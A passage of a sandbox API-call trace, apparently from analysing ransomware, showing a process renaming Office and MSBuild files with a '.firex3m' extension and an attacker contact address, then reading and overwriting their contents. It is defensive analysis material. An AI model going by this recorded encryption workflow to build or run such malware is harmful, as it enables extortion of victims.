lpNewFilePointer=0x0) returned 1 [0203.886] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0203.886] CloseHandle (hObject=0x6a0) returned 1 [0203.886] GetProcessHeap () returned 0x630000 [0203.886] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a3b20 | out: hHeap=0x630000) returned 1 [0203.887] GetProcessHeap () returned 0x630000 [0203.887] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0203.887] GetProcessHeap () returned 0x630000 [0203.887] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0203.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.888] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1e76730, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1e76730, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3f7a331f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4ee91, dwReserved0=0xb687496, dwReserved1=0x72b8498, cFileName="WRKFLO_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WRKFLO~2.FIR")) returned 0x6d5540 [0203.888] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0203.888] Sleep (dwMilliseconds=0x1) [0203.934] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV", len=0x66 | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV") returned 1 [0203.935] GetProcessHeap () returned 0x630000 [0203.935] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c24) returned 0x7133a90 [0203.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0203.936] CloseHandle (hObject=0x6a0) returned 1 [0203.936] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft632.cnv.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.937] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48e58, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="WPFT632.CNV.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WPFT63~1.FIR")) returned 0x6d4e00 [0203.937] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0203.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft632.cnv.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0203.937] GetProcessHeap () returned 0x630000 [0203.937] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0203.937] GetProcessHeap () returned 0x630000 [0203.937] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72a3b20 [0203.938] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.938] ReadFile (in: hFile=0x6a0, lpBuffer=0x72b84a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesRead=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0212.004] GetProcessHeap () returned 0x630000 [0212.004] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0212.005] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.005] WriteFile (in: hFile=0x6a0, lpBuffer=0x72a3b20*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a3b20*, lpNumberOfBytesWritten=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0214.033] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.033] WriteFile (in: hFile=0x6a0, lpBuffer=0x72aef1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72aef1f*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0214.035] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.035] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0214.035] CloseHandle (hObject=0x6a0) returned 1 [0214.035] GetProcessHeap () returned 0x630000 [0214.035] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a3b20 | out: hHeap=0x630000) returned 1 [0214.035] GetProcessHeap () returned 0x630000 [0214.035] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0214.035] GetProcessHeap () returned 0x630000 [0214.036] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0214.036] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.036] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x45857390, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x48e7c, dwReserved0=0xb687496, dwReserved1=0x72b8498, cFileName="WPFT632.CNV.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WPFT63~1.FIR")) returned 0x6d4ec0 [0214.036] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0214.036] Sleep (dwMilliseconds=0x1) [0214.040] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Reference Assemblies\\cattle.exe", len=0x30 | out: pbstr=0x447ff7c*="C:\\Program Files\\Reference Assemblies\\cattle.exe") returned 1 [0214.040] GetProcessHeap () returned 0x630000 [0214.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f58) returned 0x7128660 [0214.040] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\cattle.exe" (normalized: "c:\\program files\\reference assemblies\\cattle.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.041] Sleep (dwMilliseconds=0x1) [0214.056] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", len=0x60 | out: pbstr=0x447ff7c*="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets") returned 1 [0214.056] GetProcessHeap () returned 0x630000 [0214.056] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f54) returned 0x7128660 [0214.058] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.059] Sleep (dwMilliseconds=0x1) [0214.072] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", len=0x54 | out: pbstr=0x447ff7c*="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets") returned 1 [0214.072] GetProcessHeap () returned 0x630000 [0214.072] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f50) returned 0x7128660 [0214.072] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.072] Sleep (dwMilliseconds=0x1) [0214.087] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets", len=0x60 | out: pbstr=0x447ff7c*="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets") returned 1 [0214.087] GetProcessHeap () returned 0x630000 [0214.087] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f4c) returned 0x7128660 [0214.087] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0214.089] CloseHandle (hObject=0x678) returned 1 [0214.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0214.089] MoveFileW (lpExistingFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets"), lpNewFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0214.090] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4e6d423, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x72006f, dwReserved1=0x400074, cFileName="Workflow.VisualBasic.Targets.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORKFL~1.FIR")) returned 0x6d5280 [0214.090] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0214.091] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0214.091] GetProcessHeap () returned 0x630000 [0214.091] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1441) returned 0x725d018 [0214.091] GetProcessHeap () returned 0x630000 [0214.091] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1441) returned 0x71aa040 [0214.091] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.091] ReadFile (in: hFile=0x678, lpBuffer=0x725d018, nNumberOfBytesToRead=0x1420, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x725d018*, lpNumberOfBytesRead=0x447ff0c*=0x1420, lpOverlapped=0x0) returned 1 [0214.111] GetProcessHeap () returned 0x630000 [0214.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0214.111] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.111] WriteFile (in: hFile=0x678, lpBuffer=0x71aa040*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71aa040*, lpNumberOfBytesWritten=0x447ff0c*=0x1420, lpOverlapped=0x0) returned 1 [0214.112] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.112] WriteFile (in: hFile=0x678, lpBuffer=0x71ab45f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ab45f*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0214.112] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.112] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0214.112] CloseHandle (hObject=0x678) returned 1 [0214.112] GetProcessHeap () returned 0x630000 [0214.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71aa040 | out: hHeap=0x630000) returned 1 [0214.112] GetProcessHeap () returned 0x630000 [0214.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x725d018 | out: hHeap=0x630000) returned 1 [0214.112] GetProcessHeap () returned 0x630000 [0214.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0214.112] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0x459162d7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1462, dwReserved0=0xb687496, dwReserved1=0x725d010, cFileName="Workflow.VisualBasic.Targets.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORKFL~1.FIR")) returned 0x6d5280 [0214.113] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0214.113] Sleep (dwMilliseconds=0x1) [0214.120] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets", len=0x54 | out: pbstr=0x447ff7c*="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets") returned 1 [0214.120] GetProcessHeap () returned 0x630000 [0214.120] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f48) returned 0x7128660 [0214.120] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0214.120] CloseHandle (hObject=0x678) returned 1 [0214.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0214.121] MoveFileW (lpExistingFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets"), lpNewFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0214.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4e47081, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0xb808e454, dwReserved1=0x690066, cFileName="Workflow.Targets.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORKFL~2.FIR")) returned 0x6d5540 [0214.122] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0214.122] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0214.122] GetProcessHeap () returned 0x630000 [0214.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1281) returned 0x722a78 [0214.122] GetProcessHeap () returned 0x630000 [0214.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1281) returned 0x70fa908 [0214.122] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.122] ReadFile (in: hFile=0x678, lpBuffer=0x722a78, nNumberOfBytesToRead=0x1260, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a78*, lpNumberOfBytesRead=0x447ff0c*=0x1260, lpOverlapped=0x0) returned 1 [0215.885] GetProcessHeap () returned 0x630000 [0215.885] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0215.885] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.885] WriteFile (in: hFile=0x678, lpBuffer=0x70fa908*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70fa908*, lpNumberOfBytesWritten=0x447ff0c*=0x1260, lpOverlapped=0x0) returned 1 [0215.885] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.885] WriteFile (in: hFile=0x678, lpBuffer=0x70fbb67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70fbb67*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0215.885] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.885] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0215.885] CloseHandle (hObject=0x678) returned 1 [0215.885] GetProcessHeap () returned 0x630000 [0215.885] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70fa908 | out: hHeap=0x630000) returned 1 [0215.885] GetProcessHeap () returned 0x630000 [0215.885] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722a78 | out: hHeap=0x630000) returned 1 [0215.885] GetProcessHeap () returned 0x630000 [0215.885] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0215.886] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.886] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0x46a12c69, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x129a, dwReserved0=0xb687496, dwReserved1=0x722a70, cFileName="Workflow.Targets.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORKFL~2.FIR")) returned 0x6d5480 [0215.886] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0215.886] Sleep (dwMilliseconds=0x1) [0217.354] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x447ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgradeth2.xml") returned 1 [0217.355] GetProcessHeap () returned 0x630000 [0217.355] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c8) returned 0x6fe3bb0 [0217.355] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgradeth2.xml" (normalized: 